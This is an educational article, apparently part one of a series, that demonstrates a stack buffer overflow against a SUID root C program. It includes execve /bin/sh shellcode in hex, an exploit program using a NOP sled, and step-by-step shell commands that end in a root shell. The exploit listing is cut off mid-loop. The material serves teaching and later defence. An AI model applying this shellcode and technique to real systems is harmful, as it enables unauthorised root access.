Buffer Overflow Exploit in Action
A successful buffer overflow exploit has four steps:
- Find a process that is vulnerable to the buffer overflow exploits
- In order to inject the most damage, the process should run with root privileges.
- Decide what to execute as a result of buffer overflow exploit
- Find a way from the vulnerable process to start the chosen process
For our exercise, we created the following program that we will try to overflow (Listing 3):
void main(int argc, char *argv[]) { char buffer[512]; if (argc > 1) strcpy(buffer,argv[1]); }
Listing 3: vulnerable.c
The sample program in Listing 3 copies the input string to its internal buffer without checking the buffer size. Our target result is to have a process runs with root privileges; this way, when the buffer overflow exploits takes place, the result will be gaining root privileges. Usually a process takes the privileges of the user that started it. However, in the case of a SUID process, the program inherits the privileges of the executable file, not the user, when executed. Therefore, we assume that our executable file (vulnerable
) was created with root privileges.
Now, we must decide which program to run because of a buffer overflow exploit. In this example, we will start the shell with root privileges. The code looks as follows (Listing 4):
#include void main() { char *name[2]; name[0] = “/bin/sh”; name[1] = NULL; execve(name[0], name, NULL); }
Listing 4: shellcode.c
We need to find a machine code representation of the above C code, to store it in the overflowing buffer. The code must be position independent because we do not know what will be the address of the local buffer on the stack. The code cannot contain any ” byte because the strcpy
function will stop copying after finding such a character. To find out how the code looks like in assembly language, we compile it and start the GDB debugger:
$ gcc -o shellcode –ggdb –static shellcode.c $ gdb shellcode $ (gdb) disassemble main $ (gdb) x/bx main+1 $ (gdb) x/bx main+2 (and so on...)
After modifying the assembler code that it is position independent, finding out its machine representation and replacing all ” characters, we will get a code in the machine language, which can be stored in a buffer (the details of obtaining such code can be found here):
char shellcode[] = "xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b" "x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd" "x80xe8xdcxffxffxff/bin/sh";
Listing 5: shell code in hex notation
This buffer (Listing 5) contains the code that will run as the result of the overflow exploit.
So far, we have one program used as a vulnerable program (Listing 3). We will now create the program that we will use as the exploit program (Listing 6):
#include #define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 612 #define NOP 0x90 char shellcode[] = "xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b" "x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd" "x80xe8xdcxffxffxff/bin/sh"; unsigned long get_esp(void) { __asm__("movl %esp,%eax"); } void main(int argc, char *argv[]) { char *buff, *ptr, *egg; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i; if (argc > 1) bsize = atoi(argv[1]); if (argc > 2) offset = atoi(argv[2]); if (!(buff = malloc(bsize))) { printf("Can't allocate memory.n"); exit(0); } addr = get_esp() - offset; printf("Using address: 0x%xn", addr); ptr = buff; addr_ptr = (long *) ptr; for (i = 0; i
Listing 6: exploit.c Demonstrating a Buffer Overflow exploit
The purpose of this sample exercise is to demonstrate a buffer overflow exploit; we will later use the same example when we prevent this exploit using the DSM module. To demonstrate the exploit, please follow these steps:
- Compile exploit.c and vulnerable.c programs:
$gcc –o exploit exploit.c $gcc –o vulnerable vulnerable.c
- Modify the link of
/bin/sh
in case it isbash
ortcsh
. The reason is thatbash
andtcsh
restrictsetuid
execution of itself; therefore we must create link to another shell:$ su $ cd /bin $ mv sh sh.bak $ ln –s ash sh $ exit
- Change the user of the vulnerable executable and set the
setuid bit
; this will set theuserid
of the current user to the one of the owner when executing this program:$su $chown root:root vulnerable $chmod +s vulnerable $exit
- Create the buffer in an environment variable as a normal user:
$whoami user $./exploit
- Execute the vulnerable program:
$./vulnerable $RET
At this point, we should have gained root privileges:
$whoami root
Et Voilà! The shell is started with root privileges. Very simple procedure, yet very dangerous.
- Next, we exit from the buffer overflow and the exploit spanned shell:
$exit $exit
- Restore the original shell
$ mv sh.bak sh
In this exercise, we demonstrated how to invoke a buffer overflow exploit using very simple programs. In Part 2, we will list existing solutions and go into details on how to prevent such unfortunate incidents using DSM.
This article was originally published on LinuxPlanet.